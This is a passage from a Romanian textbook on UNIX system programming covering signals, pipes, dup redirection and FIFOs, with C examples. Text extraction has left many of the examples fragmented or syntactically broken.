întreruptă), către fiecare proces care aparţine terminalului respectiv. El este trimis şi atunci când 

procesul părinte al unui grup de procese este terminat, oricare ar fi motivul. Acest semnal ne dă 

posibilitatea să simulăm întreruperea conexiunii chiar dacă terminalul nu este conectat la distanţă. 

SIGINT(2) Interrupt. Acest semnal este trimis unui proces atunci când la terminalul asociat 

procesului s-a apăsat tasta de întrerupere (de obicei DEL). Tasta de întrerupere poate fi dezactivată 

sau poate fi modificată prin apelul ioctl. Atenţie, această situaţie nu este echivalentă cu ignorarea 

semnalului. 

SIGQUIT(3) Quit. Semnalul este similar cu SIGINT, dar este generat la apăsarea tastei CTRL \. La 

terminarea procesului se creează o imagine a stării procesului pe disc pentru verificări ulterioare. 

SIGILL(4) Illegal instruction. Acest semnal este trimis procesului când hardware-ul detectează o 

instrucţiune ilegală. 

SIGTRAP(5) Trace trap. Semnalul se trimite după fiecare instrucţiune dacă procesul are activată 

opţiunea de trasare (urmărire). Este folosit de debuggere sistem. 

SIGIOT(6) I/O trap instruction. Acest semnal este trimis când se semnalează o problemă de 

hardware (semnificaţia este dependentă de tipul maşinii). Semnalul este folosit de funcţia abort 

pentru a provoca terminarea procesului cu salvarea stării pe disc. 

SIGEMT(7) Emulator trap instruction. Semnalul este trimis când apar unele probleme hard (rar). 

SIGFPE(8) Floating point exception. Trimis atunci când hardware-ul detectează o problemă de 

lucru cu sistemul de VM, de exemplu când se încearcă folosirea unui număr care are un format 

incorect de reprezentare. 

SIGKILL(9) Kill. Acest semnal este singurul mod sigur de a termina un proces (nu poate fi 

ignorat). Se foloseşte numai în caz de urgenţă (de obicei este preferat lui SIGTERM(15)). 

SIGBUS(10) Bus error. Semnal dependent de maşină (când se adresează o adresă impară a unei 

structuri de date ce trebuie să se afle la o adresă de cuvânt - pară). 

SIGSENV(11) Segmentation violation. Dependent de masină (când se încearcă adresarea datelor 

din afara spaţiului de adrese). 

SIGSYS(12) Bad argument to DSystem Call. Nu se utilizează acum. 

SIGPIPE(13) Write on pipe not open for reading. Semnalul este trimis procesului atunci când acesta 

încearca să scrie într-un canal de comunicaţie din care nu citeşte nimeni (se poate folosi pentru 

64


terminarea unei întregi înlanţuiri de pipe-uri). Dacă un proces se termină anormal toate celelalte 

primesc acest semnal în cascadă. 

SIGALRM(14) Alarm clock. Semnalul este trimis procesului când ceasul său a ajuns într-un 

moment fixat (fixarea se face cu apelul alarm()). 

SIGTERM(15) Software termination. Se opreşte un proces. Comanda kill trimite implicit acest 

semnal. Un proces care interceptează acest semnal trebuie să execute la primirea lui operaţiile de 

salvare şi curăţire necesare, după care se apelează exit. 

SIGUSR1(16) User defined signal 1. Acest semnal poate fi folosit de procese pemtru a comunica 

între ele (nu prea este utilizat). 

SIGUSR2(17) User defined signal 2. Idem. 

SIGCLD(18) Death of a child. Este primit de părinte când unul din fii s-a terminat (acţionează 

diferit faţă de celelalte deoarece este pus într-o coadă de aşteptare). 

SIGPWR(19) Power fail restart. Depinde de implementare (apare când scade tensiunea de 

alimentare). Procesul poate să-si salveze starea şi să apeleze exit sau işi salvează starea şi apelează 

sleep (dacă se mai trezeste). 

Exerciţii 

1. Ce afişează programul: 

int main( void) 

{ int pid, k=7; 

pid=fork(); 

printf("Returnat %d\n", pid); 

if ( pid) int k=2; 

printf("k= %d\n"); 

} 

2. Să se scrie un program care să demonstreze că două procese aflate în relaţia părinte-fiu sunt 

concurente. 

3. Să se scrie patru funcţii de sincronizare pentru a putea controla execuţia proceselor aflate în 

relaţia părinte-fiu. 

4. Să se scrie un program care generează un proces zombie. 

5. Să se scrie o funcţie sistem similară ca acţiune apelului sistem system() folosind apelurile sistem 

fork() şi exec(). Notă: semnalele nu se vor trata. 

6. Un program copiază intrarea standard într-un fişier specificat prin linia de comandă, utilizând un 

fişier intermediar în acest scop. Scrieţi programul în aşa fel încât, dacă procesul este întrerupt prin 

oricare din semnalele SIGINT, SIGQUIT, SIGHUP, SIGTERM, să fie anulate toate efectele 

execuţiei programului până la întrerupere. 

7. După execuţia lui fork(), nu se ştie ce proces va continua primul. În situaţia în care acestea 

accesează o resursă partajată, pot să apară probleme de nesincronizare. Pentru ca două procese 

aflate în relaţie părinte-fiu să se sincronizeze, se pot crea următoarele funcţii: 


65


TELL_WAIT() realizează anumite iniţializări; 

TELL_PARENT(pid) anunţă părintele că poate continua execuţia; 

WAIT_PARENT() aşteaptă părintele până ce acesta termină accesul la resursa partajată; 

TELL_CHILD(pid) anunţă părintele că a terminat accesul; 

WAIT_CHILD( ) aşteaptă procesul fiu până ce acesta termină accesul la resursa partajată; 

Utilizând semnalele, să se implementeze aceste funcţii de sincronizare. 

8. Să se scrie un program pentru a testa sicronizarea părinte-fiu, utilizând funcţiile din programul 7. 


66



Capitolul 4. Modalităţi IPC (comunicare inter-proces) în UNIX 

Comunicarea între procese sub sistemul de operare UNIX SV se poate realiza prin: fişiere 

obişnuite, fişiere de tip FIFO, pipe-uri, cozi de mesaje şi zone (segmente) de memorie partajată. 

4.1. Comunicarea intre procese folosind pipe-uri 

In încercarea de a rezolva o problemă sau de a implementa o aplicaţie, două sau mai multe 

procese care rulează concurent au nevoie să comunice între ele pentru a schimba informaţii sau 

pentru a se sincroniza. Aşa cum am arătat în 2.x.x, una dintre modalităţile de comunicare este 

constituirea unui flux de octeţi între procesele protagoniste. Noi vom folosi termenul de pipe în loc 

de flux de octeţi, cel puţin pentru comoditatea scrierii. 

Un pipe este o interfaţă de nivel aplicaţie, care poate fi folosită pentru a crea canale IPC 

între un client şi un server. 

Pipe-urile (conducte de date) sunt canale de comunicaţie unidirecţionale între procese, 

informaţia trecând de la un proces la altul printr-un mecanism FIFO (chiar şi COMMAND.COM 

din Dos implementează o astfel de tehnică). În DOS însă execuţia are loc secvenţial, în timp ce în 

UNIX execuţia are loc concurent, comunicaţia fiind directă. De fapt, conceptul a apărut prima dată 

sub Unix, pentru a permite unui proces fiu să comunice cu părintele său. De obicei procesul părinte 

redirectează ieşirea sa standard, stdout, către un pipe, iar procesul fiu îşi redirectează intrarea 

standard, stdin, din acelaşi pipe. Pipe-uri pot fi create şi în shell-ul Unix, ca şi în DOS, prin 

concatenarea mai multor comenzi pe aceeaşi linie separate de "|". Prin program se pot crea legături 

circulare între procese (bidirecţional). 

O metodă foarte des utilizată în UNIX pentru comunicarea între procese prin pipe este 

folosirea primitivei numită pipe(). Pipe-ul este o cale de legătura care poate fi stabilită între două 

procese înrudite (au un strămoş comun sau sunt în relaţia strămoş-urmaş). Ea are două capete, unul 

prin care se pot scrie date şi altul prin care datele pot fi citite, permiţând o comunicare într-o singură 

direcţie. În general, sistemul de operare permite conectarea a unuia sau mai multor procese la 

fiecare din capetele unui pipe, astfel încât, la un moment dat este posibil să existe mai multe 

procese care scriu, respectiv mai multe procese care citesc din pipe. Se realizează, astfel, 

comunicarea unidirecţionala între procesele care scriu şi procesele care citesc. 

4.1.1. Apelul de sistem pipe() 

Crearea conductelor de date se face în UNIX folosind apelul sistem pipe() cu sintaxa: 

int pipe(int fd[2]); 

Funcţia creează un pipe, precum şi o pereche de descriptori de fişier care referă cele două capete ale 

acestuia. Descriptorii sunt returnaţi către programul apelant completându-se cele două poziţii ale 

tabloului fd trimis ca parametru apelului sistem. Pe prima poziţie va fi memorat descriptorul care 

indică extremitatea prin care se pot citi date (capătul de citire), iar pe a doua poziţie va fi memorat 

descriptorul capătului de scriere în pipe. 

Funcţia returnează zero dacă operaţia de creare s-a efectuat cu succes şi -1 în caz de eroare. 

Cei doi descriptori sunt descriptori de fişier obişnuiţi, asemănători celor returnaţi de apelul 

de sistem open() (folosit pentru deschiderea unui fişier obişnuit). Mai mult, pipe-ul poate fi folosit 

67


în mod similar fişierelor, adică în el pot fi scrise date folosind funcţia write() (aplicată capătului de 

scriere) şi pot fi citite date prin funcţia read() (aplicată capătului de citire). Printre apelurile de 

sistem care pot fi aplicate folosind descriptorii de pipe obţinuţi se numără: close(), fcntl(), fstat(). 

Însă apelurile open() şi creat() nu se folosesc pentru pipe, la fel nici lseek() (datele se citesc în 

ordinea în care au fost scrise). 

In urma creării pipe, legătura user – nucleu prin acest pipe apare ca în figura 4.1. 


proces user: 

nucleu: 

Figura 4.1 Legătura user – nucleu prin pipe. 

Evident, un pipe într-un singur proces nu are sens. Este însă esenţială funcţionarea lui pipe() 

combinată cu fork(). Astfel, dacă după crearea lui pipe se execută un fork, atunci legătura celor 

două procese cu pipe din nucleu apare ca în figura 4.2. 

parinte 

read fd[0] 

write fd[1] 

write fd[1] 

kernel 

pipe 

Figura 4.2 Un pipe leagă două procese înrudite 

Fiind implicaţi descriptori de fişier obişnuiţi, dacă un pipe este creat într-un proces părinte, 

fiii acestuia vor moşteni cei doi descriptori (aşa cum, în general, ei moştenesc orice descriptor de 

fişier deschis de părinte). Prin urmare, atât părintele cât şi fiii vor putea scrie sau citi din pipe. În 

acest mod se justifică afirmaţia făcuta la începutul acestui paragraf prin care se spunea că pipe-urile 

sunt folosite la comunicarea între procese înrudite. Pentru ca legătura dintre procese să se facă 

corect, fiecare proces trebuie să declare dacă va folosi pipe-ul pentru a scrie în el (transmiţând 

informaţii altor procese) sau îl va folosi doar pentru citire. În acest scop, fiecare proces trebuie să 

închidă capătul pipe-ului pe care nu îl foloseşte: procesele care scriu în pipe vor închide capătul de 

citire, iar procesele care citesc vor închide capătul de scriere, folosind funcţia close(). 

pipe 

read fd[0] 

sensul datelor 

fiu 

read fd[0] 

write fd[1] 

sen sul datelo r 

68


Această asigurare a unidirecţionalităţii unui pipe cade exclusiv în sarcina programatorului. 

Astfel, pentru a se asigura sensul datelor din figura 4.2, se impune ca înainte de a transmite prin 

pipe, să se execute: 

• In procesul părinte să se apeleze close(fd[0]); 

• In procesu fiu să se apeleze close(fd[1]); 

Natural, dacă se doreşte ordinea inversă, atunci se vor executa operaţiile close(fd[1]) în procesul 

părinte şi close(fd[0]) în procesul fiu. 

În concluzie: fd este un vector de doi întregi care după apelul directivei va fi completat cu doi 

descriptori de fişier: 

fd[0] - pentru citire 

fd[1] - pentru scriere 

ce vor fi folosiţi pentru operaţiile ulterioare de citire/scriere. 

După crearea pipe-ului, operaţiile de scriere/citire se fac, din punct de vedere al utilizatorului, ca 

pentru un fişier obişnuit (utilizând descriptorii corespunzători), cu observaţiile : 

• sistemul de operare foloseşte pentru fişierul pipe doar un număr limitat de blocuri de 

disc (primele zece, de obicei), dimensiunea acestuia fiind deci limitată în memorie (cca. 

4 Ko). 

• sistemul manipulează blocurile alocate pipe-ului ca pe o coadă circulară, menţinându-se 

pointeri de citire/scriere diferiţi pentru a se putea respecta politica FIFO (First In First 

Out).; 

• orice operaţie de scriere într-un pipe măreşte dimensiunea acestuia, iar orice citire o 

micşorează. În pipe nu este posibil accesul direct sau repoziţionarea de către utilizator a 

pointerului de citire/scriere; 

• scrierea/citirea se fac sincronizat în sensul că sistemul de operare blochează (fără a 

efectua operaţia) procesele care vor să citească dintr-un pipe gol ca şi pe cele care vor să 

scrie într-un pipe în care nu mai este suficient loc; 

• dacă se scriu mai mulţi octeti decât este liber, write() se blochează până când cineva 

goleşte pipe prin citire, write reluîndu-se până la terminare (afară de setarea prin fcntl() a 

comutatorului O_NDELAY); 

• un apel read() se termină chiar dacă nu a găsit toţi octeţii de care avea nevoie (valoare 

de retur=numărul de octeţi citiţi). În cazul în care pipe-ul este gol, read() se blochează 

până la sosirea unor date (excepţie tot cu O_NDELAY setat); 

• operaţia de comunicare prin pipe-uri anonime se poate face doar între un proces tată şi 

fiii săi; 

• un pipe poate fi închis ca un fişier obişnuit prin intermediul directivei close(), apelată cu 

unul dintre descriptori ca parametru. 

• i-nodul unui pipe anonim este şters în mod automat de către sistemul de operare atunci 

când dispar toate procesele care refereau pipe-ul. 

• flagul O_NONBLOCK este resetat pentru cei doi descriptori. 

Un posibil scenariu pentru crearea unui sistem format din două procese care comunică prin pipe 

este următorul: 


69


• procesul părinte creează un pipe, 

• părintele apelează fork() pentru a crea fiul, 

• fiul închide unul din capete (ex: capătul de citire), 

• părintele închide celălalt capăt al pipe-ului (cel de scriere), 

• fiul scrie date în pipe folosind descriptorul rămas deschis (capătul de scriere), 

• părintele citeşte date din pipe prin capătul de citire. 

Primitiva pipe() se comportă în mod asemănător cu o structură de date de tip coadă: scrierea 

introduce elemente în coadă, iar citirea le extrage pe la capătul opus. 

Un exemplu de program scris conform scenariului de mai sus este: 

void main() 

{ 

int pfd[2]; 

int pid; 

} 

... 

if(pipe(pfd)


Observaţii: 

• 1. Cantitatea de date care poate fi scrisă la un moment dat într-un pipe este limitată. Numărul de 

octeţi pe care un pipe îi poate păstra fără ca ei să fie extraşi prin citire de câtre un proces este dat 

de constanta predefinită PIPE_BUF. 

• 2. Un proces care citeşte din pipe va primi valoarea 0 ca valoare returnată de apelul read() în 

momentul în care toate procesele care scriau în pipe au închis capătul de scriere şi nu mai există 

date în pipe. 

• 3. Dacă pentru un pipe sunt conectate procese doar la capătul de scriere (cele de la capătul opus 

au închis toate conexiunea) operaţiile write() efectuate de procesele rămase vor returna eroare. 

Intern, în această situaţie va fi generat semnalul SIG_PIPE care va întrerupe apelul sistem 

write() respectiv. Codul de eroare (setat în variabila globală errno) rezultat este cel 

corespunzător mesajului de eroare "Broken pipe". 

• 4. Dacă dorim să semnalăm procesului cu care comunicăm că s-a atins sfârşitul de fişier, 

trebuie să închidem canalul cu apelul de sistem close(). Apelul sistem fstat() returnează numărul 

de octeţi disponibili în pipe la un moment dat (este foarte dinamic). fstat() este util la testarea 

dacă un descriptor de fişier corespunde sau nu unui pipe, testând dacă numărul de legături este 

0. Pipe foloseşte acelaşi mecanism de cache care se foloseşte şi pentru fişierele de pe discuri. 

Scrierea şi citirea sunt operaţii atomice (scrierea este cu 512 octeţi în general, citirea cu


Dacă dimensiunea blocului de scris este mai mare decât dimensiunea pipe-ului, se poate 

produce deadlock (se poate totuşi rezolva prin citirea unor octeţi din pipe). Un pipe unidirecţional 

nu poate duce niciodată la deadlock total. Când avem un pipe între două procese, cel care citeşte 

trebuie să fie un fiu al procesului care a deschis pipe-ul pentru a moşteni descriptorii de fişiere 

(inclusiv al pipe-ului), sau ambele procese fiu al aceluiaşi tată. Dacă unul din procese doar scrie iar 

celălalt doar citeşte, atunci avem pipe unidirecţional. 

/*p2.c*/ 

#include 


void main () 

{ 

int pdescr[2]; 


if(pipe(pdescr)==-1) 

{ 

perror("eroare deschidere pipe\n"); 

exit(1); 

} 

switch(fork()) 

{ 

case -1 : 

perror("eroare fork\n"); 

exit(1); 

case 0 : /* fiu */ 

if(close(pdescr[1])==-1) 

{ 

perror("eroare close pipe scriere\n"); 

exit(1); 

} 

sprintf(buffer,"%d",pdescr[0]); 

execlp("./p3","p3",buffer,NULL); 

perror("eroare execlp\n"); 

exit(1); 

} 

if(close(pdescr[0]==-1) 

{ 

perror("eroare close pipe citire\n"); 

exit(1); 

} 

if(write(pdescr[1],"Hello !",7)==-1) 

{ 

perror("eroare write pipe\n"); 

exit(1); 

} 

} 

} 

Programul 2. Sursa p2.c 

/*p3.c*/ 

#include 

void main(argc,argv) 

inr argc; 

char **argv; 

{ 

int fd,nr; 


fd=atoi(argv[1]); 

switch(nr = read(fd,buffer,sizeof(buffer))); 

{ 

case -1; 

perror("eroare read\n"); 

72



} 

} 

Programul 3. Sursa p3.c 

exit(1); 

case 0; 

printf("Nu am atins sfirsitul fisierului pipe \n"); 

exit(1); 

default : 

printf("Am citit %d octeti %s \n",nr,buffer); 

În primul proces după fork(), în cazul că ne găsim în fiu, canalul de scriere în pipe este închis. 

Aceasta pentru că cel de-al doilea proces nu va scrie niciodată în pipe şi în acest caz este mai bine 

să eliberăm descriptorul de fişiere, care face parte dintr-o resursă limitată (20 de descriptori de 

proces). 

Această situaţie este înainte de exec() pentru că după aceasta, deşi fişierul rămâne deschis, p3 nu 

ştie care este acel descriptor. Programul p3 nu ştie nici unde se găseşte descriptorul de citire, de 

acea acesta şi este transmis ca parametru în linia de comandă (nu este cea mai buna metoda !). În 

procesul tată, la revenirea din fork(), se închide canalul de citire, pentru ca tatăl nu va citi niciodată 

din pipe. De aceea, intre apelurile de sistem fork() şi exec() se mai pot face unele prelucrări, care 

făcute în altă parte ar însemna mult mai mult efort. 

Pentru a exemplifica utilizarea pipe, propunem următoarea problemă. Definim o 

“propoziţie” ca fiind o succesiune de caractere terminate cu caracterul ‘.’ (punct). Se dau o 

succesiune de linii citite de la intrarea standard şi se cere tipărirea la ieşirea standard a propoziţiilor 

câte una pe linie. De exemplu, dacă la intrarea standard se dau liniile: 

abcd 555. xxxxx shjd asd. d 

mmm. t. jj 

ee cc rrr 

xxx. gg 

pppp rr 

Ieşirea standard va afişa “propoziţiile” 

abcd 555. 

xxxxx shjd asd. 

d mmm. 

t. 

jjee cc rrrxxx. 

ggpppp rr 

Evident, problema are o rezolvare extrem de simplă, de exemplu prin secvenţa C de mai jos, care 

transferă caracter cu caracter: 

for (;;) { 

c = getchar(); 

if (c == EOF) 

break; 

putchar(c); 

if ( c == ‘.’) 

putchar(‘\n’); 

} 

Noi vom “complica” rezolvarea folosind în acest scop două procese şi un pipe prin care ele 

comunică. 

Primul proces, scriitorInPipe, citeşte succesiv linii de la intrarea standard şi pentru fiecare linie 

depune caracterele acesteia într-un pipe. După cum am arătat scrierea în pipe nu asigură, neapărat, 

depunerea numărului total de octeţi precizat. De aceea prevedem introducerea în pipe a liniei “pe 

bucăţi” fiecare scriere elementară introducând în pipe începând cu primul caracter neintrodus la 

73


scrierea precedentă. 

Al doilea proces, cititorDinPipe, extrage din pipe “pe bucăţi” fragmentele liniei până la întâlnirea 

punctului, după care scrie linia la ieşirea lui standard. Apoi continuă cu citirea de fragmente din 

propoziţia următoare ş.a.m.d. 

Următoarele două programe prezintă sursele funcţiilor/metodelor care implementează cele două 

procese. Fiecare dintre ele au ca parametru de intrare un descriptor de fişier, despre care se 

presupune că a fost deja deschis pentru scriere sau citire în/din pipe. In aceste exemple oferim 

cititorulului “mostre” de gestiune a scrierilor/citirilor succssive în/din stream pentru transferul unui 

număr de octeţi dorit. 

#define SMAX 1000 //dimensiune maxima pt un sir de caractere 

void scriitorInPipe(int hpipeOut) { 


int noct; //numar octeti scrisi 

char linie[SMAX],*plinie; 

//citeste cate o linie 

for (;;) { 

plinie=gets(linie); 

if (plinie==NULL) 

break; 

fflush(stdout); 

for (;;) { 

//scrie linia pe bucati in pipe 

noct=write(hpipeOut,plinie,strlen(plinie)); 

} 

if (noct==strlen(plinie)) 

break; 

plinie+=noct; 

} 

close(hpipeOut); 

}//scriitorInPipe 

Programul 4. Sursa scriitorInPipe.c 

#define SMAX 1000 //dimensiune maxima pt un sir de caractere 

void cititorDinPipe(int hpipeIn) { 

int noct; //numar octeti cititi din pipe 

char propoz[PMAX],*sir1,*sir2,sirPipe[SMAX]; 

propoz[0]=0; 

for (;;) { 

//citeste maximum SMAX octeti din pipe 

noct=read(hpipeIn,sirPipe,SMAX); 

if (!noct) 

break; 

sirPipe[noct]=0; 

for (sir1=sirPipe;strlen(sir1)>0; ) { 

//cauta caracterul '.' in sirul citit din pipe 

sir2=(char*)memchr(sir1,'.',strlen(sir1)); 

if (!sir2) { 

strcat(propoz,sir1); 

break; 

} 

strncat(propoz,sir1,strlen(sir1)-strlen(sir2)); 

*sir2=0; 

74



} 

strcat(propoz,"."); 

puts(propoz); 

propoz[0]=0; 

sir1=sir2+1; 

} 

puts(propoz); 

close(hpipeIn); 

}//cititorDinPipe 

Programul 5. Sursa cititorDinPipe.c 

Programul principal: 


#include "scriitorInPipe.c" 

#include "cititorDinPipe.c" 

#include 

main() { 

int fd[2], pid; 

if (pipe(fd) < 0) 

err_sys("Nu s-a putut deschide pipe"); 

if ((pid = fork()) < 0) 

err_sys("Nu s-a putut face fork"); 

else if (pid > 0) { // Procesul parinte 

close(fd[0]); 

scriitorInPipe(fd[1]); 

close(fd[1]); 

wait(0); 

} 

else { // Procesul fiu 

close(fd[1]); 

cititorDinPipe(fd[0]); 

close(fd[0]); 

exit(0); 

} 

} 

Programul 6. Sursa PropozitiiPipe.c 

Pentru a asigura o comunicaţie bidirecţională între două procese sunt necesare două pipe-uri, 

folosite fiecare pentru câte o direcţie. Paşii necesari sunt: 

• creare pipe1 şi pipe2 (presupunem că avem descriptorii fd1 şi fd2) 

• execuţie fork() 

• în procesul părintele close(fd1[0]) şi close(fd2[1]) 

• în procesul fiul close(fd1[1]) şi close(fd2[0]) 

In urma acestor acţiuni, legăturile apar ca în figura 4.4 

pãrinte 

write fd1 

read fd2 

pipe1 

pipe2 

write fd2 

read fd1 

Figura 4.4 Comunicarea prin două pipe-uri între părinte şi fiu 

fiu 

75


Pentru a opri blocarea lui write() în cazul că pipe este plin, putem folosi apelul fcntl(): 


#include 

if(fcntl(fd,F_SETFL,O_NDELAY)


... 

fd=open("Fisier.txt", O_WRONLY); 

... 

if((newfd=dup2(fd,1))


} 


... 

close(pfd[0]); /* la sfarsit inchide si capatul utilizat */ 

exit(0); 

} 

Programul 7. Sursa DupEx1.c 

Funcţia fdopen() a fost folosită pentru a putea folosi avantajele funcţiilor de bibliotecă pentru lucrul 

cu fişiere în cazul unui fişier (capătul de citire din pipe) indicat de un descriptor întreg (în speţa, s-a 

dorit să se efectueze o citire formatată, cu fscanf(), din pipe). 

În programul următor se lansează două procese interconectate printr-un pipe unidirecţional 

(unul scrie altul citeşte - asemănător cu mecanismul utilizat de shell pentru a lansa două comenzi 

legate printr-un pipe). 

#include 

void main(argc,argv) 

int argc; 

char **argv; 

{ 

int pdescr[2]; 

int status; 

if(argc == 3) 

printf("Utilizarea unui pipe intre doua procese fiu\n"); 

else 

exit(1); 

if(pipe(pdescr)==-1) 

{ 

perror("eroare deschidere pipe\n"); 

exit(1); 

} 

switch(fork(0)) : 

{ 

case -1 : 

perror("eroare fork 1\n"); 

exit(1); 

case 0 : 

/* primul fiu */ 

close(pdescr[0]); 

close(1); 

if(dup(pdescr[1])!=1) 

{ 

perror("eroare dup1\n"); 

exit(1); 

} 


execlp(argv[1],argv[1],NULL); 

perror("eroare execlp 1\n"); 

exit(1); 

} 

switch(fork(0)) : 

{ 

case -1 : 

perror("eroare fork 2\n"); 

exit(1); 

case 0 : 

/* al doilea fiu */ 


close(0); 

if(dup(pdescr[0])!=0) 

{ 

perror("eroare dup2\n"); 

exit(1); 

} 

78




execlp(argv[2],argv[2],NULL); 

perror("eroare execlp 2\n"); 

exit(1); 

} 

/* in tata */ 



wait(&status); 

/* asteapta terminarea primului fiu */ 

wait(&status); 

/* asteapta terminarea celui de al doilea fiu */ 

} 

Programul 8. Sursa DupEx2.c 

În cazul când dorim crearea unui pipe bidirecţional (poate duce la deadlock), trebuie create 

doua pipe-uri (unul pentru citire/scrire, altul scriere/citire). Descriptorii de fişier blocaţi sunt tot doi 

pentru fiecare proces, ceilalţi doi putând fi închişi ca în exemplele anterioare. 

Un alt exemplu. Să considerăm acum comanda compusă Unix (shell): 

$ who | sort | lpr 

Mecanismul intern de legare a celor trei comenzi este ilustrat în figura 4.5. 

proces who 

write 

Figura 4.5 Schema comenzii “$ who | sort | lpr” 

Noi vom prezenta realizarea conexiunii între primele două comenzi: who | sort prin pipe. Procesul 

părinte (procesul shell) generează doi fii, iar aceştia îşi redirectează corespunzător intrările / ieşirile. 

Primul dintre ele execută who, celălalt sort, iar părintele aşteaptă terminarea lor. Sursa este 

prezentată în programul următor. 

//whoSort.c 

//Lanseaza in pipe comenzile shell: $ who | sort 

main (){ 

pipe1 

proces sort proces lpr 

write 

read 

read 

pipe2 

int p[2]; 

pipe (p); 

if (fork () == 0) { // Primul fiu 

dup2 (p[1], 1); //redirectarea iesirii standard 

close (p[0]); 

execlp ("who", "who", 0); 

} 

else if (fork () == 0) { // Al doilea fiu 

dup2 (p[0], 0); // redirectarea intrarii standard 

close (p[1]); 

execlp ("sort", "sort", 0); //executie sort 

} 

else { // Parinte 

79


} 

} 


close (p[0]); 

close (p[1]); 

wait (0); 

wait (0); 

Programul 9. Sursa whoSort.c 

4.3. Fişiere de tip FIFO 

Un FIFO combină trăsăturile unui pipe cu acelea ale unui fişier obişnuit. Ca şi un fişier, 

FIFO-ul are un nume, o poziţie în sistemul de fişiere şi poate fi accesat de orice proces care are 

drepturi asupra lui. Spre deosebire de pipe-urile clasice, cu ajutorul unui FIFO pot comunica oricare 

două procese indiferent de relaţia lor de rudenie. Din momentul în care a fost deschis însă, FIFO se 

comportă ca un pipe. Datele se pot citi în ordinea FIFO, apelurile de tip read/write fiind atomice, cu 

condiţia să nu depăşească capacitatea FIFO-ului (>=4 ko). Apelul lseek() nu are efect iar datele nu 

mai pot fi scrise înapoi. Atunci când un FIFO este deschis pentru citire, kernel-ul aşteaptă până 

când un alt proces deschide acelaşi FIFO pentru scriere (se aşteaptă unul pe altul la deschiderea 

canalului de comunicaţie, rendez-vous, sincronizat înaintea comunicaţiei propiu-zise). La fel ca la 

pipe se poate folosi apelul fcntl() pentru a seta flagul O_NDELAY. În acest caz deschiderea pentru 

citire returnează imediat, fără să aştepte ca FIFO-ul să fie deschis pentru scriere, în timp ce 

deschiderea pentru scriere returnează eroare (kernel-ul nu poate garanta păstrarea permanentă a 

datelor care se înscriu în FIFO-ul care nu este citit imediat). În plus, la închiderea canalului de 

comunicaţie fără comunicarea tuturor datelor scrise, acestea se pierd fără a se indica eroare. Flagul 

O_NDELAY afectează apelurile de citire/scriere ca la pipe-urile clasice. 

Crearea unui FIFO se face cu apelul mknod(): 

#include 

#include 

init res; 

char *path; 

res=mknod(path,S_IFIFO|0777,0); 

res = 0 - în caz de succes 

res = 1 - în caz de eroare 

Path reprezintă numele FIFO (la fel ca la fişiere) şi 0777 drepturi de acces. 

mknod() foloseşte pentru crearea unor fişiere normale, a unor subdirectoare, sau a unor 

fişiere speciale, dar aceste facilităţi sunt accesibile numai supervizorului. Parametrul S_IFIFO este 

accesibil oricărui user. Cu apelul fstat() putem prelua starea unui FIFO deschis anterior, iar cu 

apelul stat() starea unui FIFO nedeschis încă. 

#include 

#include 

int res,fd; 

char *path; 

struct stat *sbuf ; 

res = fstat(fd,sbuf); // res=0 succes; res=1 eroare 

res = stat(path,sbuf); 

Informaţiile obţinute prin aceste apeluri: lungime (câte caractere sunt în FIFO), timpul/data 

de creare, actualizare, numărul de Inode, numărul de legaturi (links=0 pentru pipe clasic, acesta 

80


neexistând pe disc), uid, gid, etc. O primă aplicare a FIFO este de a implementa un pipe clasic. În 

locul folosirii unui pipe vom deschide un FIFO de două ori, o dată pentru scriere şi o dată pentru 

citire şi apoi putem trata cei doi descriptori ca la pipe clasic. De fapt FIFO s-au introdus nu pentru a 

înlocui pipe ci mesajele. 

/*p4*/ 

#include 

#include 

#include 

#include 


#define MAXOPEN 7 

#define MAXTRIES 3 

#define NAPTIME 5 

#define FALSE 0 

#define TRUE 1 

static char *fifoname(key) /*creeaza un nume de fisier temporar */ 

long key; 

{ 

static char fifo[20]; 

sprintf(fifo,"/temp/fifo%ld ",key); 

return fifo; 

} 

static int mkfifos(path) /* creeaza un FIFO */ 

char *path; 

{ 

return mknod(path,S_IFIFO|0666,0); 

} 

static int openfifo(key,flags) 

long key; 

int flags; 

{ 

static struct 

{ 

long key; 

int fd; 

int time; 

}fifos[MAXOPEN]; 

static int clock ; 

int i,avail,oldest,fd,tries; 

char *fifo; 

extern int errno; 

avail=-1; /* caut_ un loc liber */ 

for(i=0;i


} 


} 

fifo=fifoname(key); 

if(mkfifos(fifo)== -1 && errno != EEXIT) 

return -1; 

for(tries=1;tries < MAXTRIES;tries++) 

{ 

if((fd=open(fifo,flags|O_NDELAY)) != -1) 

break; 

if(errno != ENXIO) return -1; 

sleep(NAPTIME); 

} 

if(fd == -1) 

{ 

errno=ENXIO; 

return -1; 

} 

if(fcntl(fd,F_SETFL,flags)== -1) /* reseteaza O_NDELAY */ 

return -1; 

fifos[avail].key=key; 

fifos[avail].fd=fd; 

fifos[avail].time=clock; 

return fd; 

int send(dstkey,buf,nbytes) /* trimite un mesaj */ 

long dstkey; 

char* buf; 

int nbytes; 

{ 

int fd; 

if ((fd=openfifo(dstkey,O_WRONLY)== -1) 

return FALSE; 

return write(fd,buf,nbytes) != -1; 

} 

int receive(srckey,buf,nbytes) /* primeste un mesaj */ 

long srckey; 

char* buf; 

int nbytes; 

{ 

int fd,nread; 

if((fd=openfifo(srckey,O_RDONLY))==-1) 

return FALSE; 

while((nread=read(fd,buf,nbytes))==0) 

sleep(NAPTIME); 

return nread != -1 ; 

} 

void rmqueue(key) 

long key; 

{ 

int errno ; 

if(unlink(fifoname(key)) == -1 && errno != ENOENT) 

perror("eroare unlink\n"); 

} 

/* Receive.c */ 

#include"mesaje.h" 

void main() 

{ 

MESSAGE m; 

setbuf(stdout,NULL); 

while(receive(1000L,&m,sizeof(m))) 

printf("Received %d from %d \n ",m.number,m.pid); 

perror("eroare receive !\n"); 

82


} 


exit(1); 

/* Send.c */ 

#include"mesaje.h" 

void main() 

{ 

MESSAGE m; 

m.pid=getpid(); 

for(m.number = 1 ; m.member │ │ . . . │ │ ───────> 

┌──>│ │ └──┘ └──┘ 

┌────────┐ │ └──────┘ ─────────────── 

│client 2│


Rolul principal îi revine cozii de mesaje. Unul sau mai multe procese transmit, introduc 

mesaje într-o coada de mesaje, iar altele le extrag. Dacă un proces extrage un mesaj din coadă de 

mesaje, această informaţie este pierdută pentru ceilalţi. Nu există deocamdată un mecanism prin 

care un proces să poată trimite un mesaj câtre mai multe procese deodată (broadcast). Ordinea 

mesajelor în coada este strictă, mesajele putându-se scoate doar în ordinea în care au fost trimise (o 

aplicaţie poate folosi mai multe cozi de mesaje). 

Mecanismul de comunicaţie prin mesaje este implementat în nucleu. 

